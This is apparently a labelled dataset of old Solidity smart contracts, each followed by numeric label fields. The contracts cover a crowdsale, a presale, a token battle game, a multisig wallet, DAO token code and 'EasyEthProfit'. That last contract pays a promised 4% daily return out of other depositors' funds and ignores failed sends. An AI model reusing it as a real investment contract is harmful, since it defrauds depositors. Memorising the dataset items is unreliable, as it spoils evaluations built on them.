function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FlatPricingExt is PricingStrategy, Ownable {
using SafeMathLibExt for uint;
uint public oneTokenInWei;
bool public isUpdatable;
address public lastCrowdsale;
event RateChanged(uint newOneTokenInWei);
function FlatPricingExt(uint _oneTokenInWei, bool _isUpdatable) onlyOwner {
require(_oneTokenInWei > 0);
oneTokenInWei = _oneTokenInWei;
isUpdatable = _isUpdatable;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function updateRate(uint newOneTokenInWei) onlyOwner {
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
oneTokenInWei = newOneTokenInWei;
RateChanged(newOneTokenInWei);
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.times(multiplier) / oneTokenInWei;
}
} | 0 | 1,371 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4-beta";
uint public constant PRESALE_START = 3125270;
uint public constant PRESALE_END = 3125280;
uint public constant WITHDRAWAL_END = 3125290;
address public constant OWNER = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() > state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 1,145 |
pragma solidity ^0.4.15;
contract TokenEIP20 {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Timed {
uint256 public startTime;
uint256 public endTime;
uint256 public avarageBlockTime;
function isInTime() constant returns (bool inTime) {
return block.timestamp >= (startTime - avarageBlockTime) && !isTimeExpired();
}
function isTimeExpired() constant returns (bool timeExpired) {
return block.timestamp + avarageBlockTime >= endTime;
}
modifier onlyIfInTime {
require(block.timestamp >= startTime && block.timestamp <= endTime); _;
}
modifier onlyIfTimePassed {
require(block.timestamp > endTime); _;
}
function Timed(uint256 _startTime, uint256 life, uint8 _avarageBlockTime) {
startTime = _startTime;
endTime = _startTime + life;
avarageBlockTime = _avarageBlockTime;
}
}
library SafeMathLib {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function per(uint x, uint y) internal constant returns (uint z) {
return mul((x / 100), y);
}
function min(uint x, uint y) internal returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal returns (int z) {
return x >= y ? x : y;
}
function wmul(uint x, uint y) internal returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function wper(uint x, uint y) internal constant returns (uint z) {
return wmul(wdiv(x, 100), y);
}
function rpow(uint x, uint n) internal returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract Owned {
address owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Upgradable is Owned {
string public VERSION;
bool public deprecated;
string public newVersion;
address public newAddress;
function Upgradable(string _version) {
VERSION = _version;
}
function setDeprecated(string _newVersion, address _newAddress) onlyOwner returns (bool success) {
require(!deprecated);
deprecated = true;
newVersion = _newVersion;
newAddress = _newAddress;
return true;
}
}
contract BattleOfThermopylae is Timed, Upgradable {
using SafeMathLib for uint;
uint public constant MAX_PERSIANS = 300000 * 10**18;
uint public constant MAX_SPARTANS = 300 * 10**18;
uint public constant MAX_IMMORTALS = 100;
uint public constant MAX_ATHENIANS = 100 * 10**18;
uint8 public constant BP_PERSIAN = 1;
uint8 public constant BP_IMMORTAL = 100;
uint16 public constant BP_SPARTAN = 1000;
uint8 public constant BP_ATHENIAN = 100;
uint8 public constant BTL_PERSIAN = 1;
uint16 public constant BTL_IMMORTAL = 2000;
uint16 public constant BTL_SPARTAN = 1000;
uint16 public constant BTL_ATHENIAN = 2000;
uint public constant WAD = 10**18;
uint8 public constant BATTLE_POINT_DECIMALS = 18;
uint8 public constant BATTLE_CASUALTIES = 10;
address public persians;
address public immortals;
address public spartans;
address public athenians;
address public battles;
address public battlesOwner;
mapping (address => mapping (address => uint)) public warriorsByPlayer;
mapping (address => uint) public warriorsOnTheBattlefield;
event WarriorsAssignedToBattlefield (address indexed _from, address _faction, uint _battlePointsIncrementForecast);
event WarriorsBackToHome (address indexed _to, address _faction, uint _survivedWarriors);
function BattleOfThermopylae(uint _startTime, uint _life, uint8 _avarageBlockTime, address _persians, address _immortals, address _spartans, address _athenians) Timed(_startTime, _life, _avarageBlockTime) Upgradable("1.0.0") {
persians = _persians;
immortals = _immortals;
spartans = _spartans;
athenians = _athenians;
}
function setBattleTokenAddress(address _battleTokenAddress, address _battleTokenOwner) onlyOwner {
battles = _battleTokenAddress;
battlesOwner = _battleTokenOwner;
}
function assignPersiansToBattle(uint _warriors) onlyIfInTime external returns (bool success) {
assignWarriorsToBattle(msg.sender, persians, _warriors, MAX_PERSIANS);
sendBattleTokens(msg.sender, _warriors.mul(BTL_PERSIAN));
WarriorsAssignedToBattlefield(msg.sender, persians, _warriors / WAD);
return true;
}
function assignImmortalsToBattle(uint _warriors) onlyIfInTime external returns (bool success) {
assignWarriorsToBattle(msg.sender, immortals, _warriors, MAX_IMMORTALS);
sendBattleTokens(msg.sender, _warriors.mul(WAD).mul(BTL_IMMORTAL));
WarriorsAssignedToBattlefield(msg.sender, immortals, _warriors.mul(BP_IMMORTAL));
return true;
}
function assignSpartansToBattle(uint _warriors) onlyIfInTime external returns (bool success) {
assignWarriorsToBattle(msg.sender, spartans, _warriors, MAX_SPARTANS);
sendBattleTokens(msg.sender, _warriors.mul(BTL_SPARTAN));
WarriorsAssignedToBattlefield(msg.sender, spartans, (_warriors / WAD).mul(BP_SPARTAN));
return true;
}
function assignAtheniansToBattle(uint _warriors) onlyIfInTime external returns (bool success) {
assignWarriorsToBattle(msg.sender, athenians, _warriors, MAX_ATHENIANS);
sendBattleTokens(msg.sender, _warriors.mul(BTL_ATHENIAN));
WarriorsAssignedToBattlefield(msg.sender, athenians, (_warriors / WAD).mul(BP_ATHENIAN));
return true;
}
function redeemWarriors() onlyIfTimePassed external returns (bool success) {
if (getPersiansBattlePoints() > getGreeksBattlePoints()) {
uint spartanSlaves = computeSlaves(msg.sender, spartans);
if (spartanSlaves > 0) {
sendWarriors(msg.sender, spartans, spartanSlaves);
}
retrieveWarriors(msg.sender, persians, BATTLE_CASUALTIES);
} else if (getPersiansBattlePoints() < getGreeksBattlePoints()) {
uint persianSlaves = computeSlaves(msg.sender, persians);
if (persianSlaves > 0) {
sendWarriors(msg.sender, persians, persianSlaves);
}
retrieveWarriors(msg.sender, spartans, BATTLE_CASUALTIES);
} else {
retrieveWarriors(msg.sender, persians, BATTLE_CASUALTIES);
retrieveWarriors(msg.sender, spartans, BATTLE_CASUALTIES);
}
retrieveWarriors(msg.sender, immortals, 0);
retrieveWarriors(msg.sender, athenians, 0);
return true;
}
function assignWarriorsToBattle(address _player, address _faction, uint _warriors, uint _maxWarriors) private {
require(warriorsOnTheBattlefield[_faction].add(_warriors) <= _maxWarriors);
require(TokenEIP20(_faction).transferFrom(_player, address(this), _warriors));
warriorsByPlayer[_player][_faction] = warriorsByPlayer[_player][_faction].add(_warriors);
warriorsOnTheBattlefield[_faction] = warriorsOnTheBattlefield[_faction].add(_warriors);
}
function retrieveWarriors(address _player, address _faction, uint8 _deadPercentage) private {
if (warriorsByPlayer[_player][_faction] > 0) {
uint _warriors = warriorsByPlayer[_player][_faction];
if (_deadPercentage > 0) {
_warriors = _warriors.sub(_warriors.wper(_deadPercentage));
}
warriorsByPlayer[_player][_faction] = 0;
sendWarriors(_player, _faction, _warriors);
WarriorsBackToHome(_player, _faction, _warriors);
}
}
function sendWarriors(address _player, address _faction, uint _warriors) private {
require(TokenEIP20(_faction).transfer(_player, _warriors));
}
function sendBattleTokens(address _player, uint _value) private {
require(TokenEIP20(battles).transferFrom(battlesOwner, _player, _value));
}
function getPersiansOnTheBattlefield(address _player) constant returns (uint persiansOnTheBattlefield) {
return warriorsByPlayer[_player][persians];
}
function getImmortalsOnTheBattlefield(address _player) constant returns (uint immortalsOnTheBattlefield) {
return warriorsByPlayer[_player][immortals];
}
function getSpartansOnTheBattlefield(address _player) constant returns (uint spartansOnTheBattlefield) {
return warriorsByPlayer[_player][spartans];
}
function getAtheniansOnTheBattlefield(address _player) constant returns (uint atheniansOnTheBattlefield) {
return warriorsByPlayer[_player][athenians];
}
function getPersiansBattlePoints() constant returns (uint persiansBattlePoints) {
return (warriorsOnTheBattlefield[persians].mul(BP_PERSIAN) + warriorsOnTheBattlefield[immortals].mul(WAD).mul(BP_IMMORTAL));
}
function getGreeksBattlePoints() constant returns (uint greeksBattlePoints) {
return (warriorsOnTheBattlefield[spartans].mul(BP_SPARTAN) + warriorsOnTheBattlefield[athenians].mul(BP_ATHENIAN));
}
function getPersiansBattlePointsBy(address _player) constant returns (uint playerBattlePoints) {
return (getPersiansOnTheBattlefield(_player).mul(BP_PERSIAN) + getImmortalsOnTheBattlefield(_player).mul(WAD).mul(BP_IMMORTAL));
}
function getGreeksBattlePointsBy(address _player) constant returns (uint playerBattlePoints) {
return (getSpartansOnTheBattlefield(_player).mul(BP_SPARTAN) + getAtheniansOnTheBattlefield(_player).mul(BP_ATHENIAN));
}
function computeSlaves(address _player, address _loosingMainTroops) constant returns (uint slaves) {
if (_loosingMainTroops == spartans) {
return getPersiansBattlePointsBy(_player).wdiv(getPersiansBattlePoints()).wmul(getTotalSlaves(spartans));
} else {
return getGreeksBattlePointsBy(_player).wdiv(getGreeksBattlePoints()).wmul(getTotalSlaves(persians));
}
}
function getTotalSlaves(address _faction) constant returns (uint slaves) {
return warriorsOnTheBattlefield[_faction].sub(warriorsOnTheBattlefield[_faction].wper(BATTLE_CASUALTIES));
}
function isInProgress() constant returns (bool inProgress) {
return !isTimeExpired();
}
function isEnded() constant returns (bool ended) {
return isTimeExpired();
}
function isDraw() constant returns (bool draw) {
return (getPersiansBattlePoints() == getGreeksBattlePoints());
}
function getTemporaryWinningFaction() constant returns (string temporaryWinningFaction) {
if (isDraw()) {
return "It's currently a draw, but the battle is still in progress!";
}
return getPersiansBattlePoints() > getGreeksBattlePoints() ?
"Persians are winning, but the battle is still in progress!" : "Greeks are winning, but the battle is still in progress!";
}
function getWinningFaction() constant returns (string winningFaction) {
if (isInProgress()) {
return "The battle is still in progress";
}
if (isDraw()) {
return "The battle ended in a draw!";
}
return getPersiansBattlePoints() > getGreeksBattlePoints() ? "Persians" : "Greeks";
}
} | 0 | 1,031 |
pragma solidity ^0.4.23;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
}
contract MultiSigWallet {
using SafeMath for uint;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event RecoveryModeActivated();
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
uint public lastTransactionTime;
uint public recoveryModeTriggerTime;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
function()
public
payable
{
}
constructor(address[] _owners, uint _required, uint _recoveryModeTriggerTime)
public
{
require(_required > 0 && _owners.length > 0 && _recoveryModeTriggerTime > 0 && _owners.length >= _required);
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
lastTransactionTime = block.timestamp;
recoveryModeTriggerTime = _recoveryModeTriggerTime;
}
function enterRecoveryMode()
public
ownerExists(msg.sender)
{
require(block.timestamp.sub(lastTransactionTime) >= recoveryModeTriggerTime && required > 1);
required = required.sub(1);
lastTransactionTime = block.timestamp;
emit RecoveryModeActivated();
}
function submitTransaction(address destination, uint value, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
lastTransactionTime = block.timestamp;
if (txn.destination.call.value(txn.value)(txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++){
if (confirmations[transactionId][owners[i]])
count += 1;
}
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
} | 0 | 372 |
pragma solidity ^0.4.25;
contract EasyEthProfit{
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public FEE = 4;
uint constant public ADMIN_FEE = 10;
address private adminAddr;
constructor() public{
adminAddr = msg.sender;
}
function () external payable {
address sender = msg.sender;
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
}
sender.send(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
adminAddr.send(msg.value * ADMIN_FEE / 100);
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * FEE / 100 * (now - dateInvest[addr]) / 1 days;
}
} | 0 | 667 |
pragma solidity ^0.5.2;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
library Address {
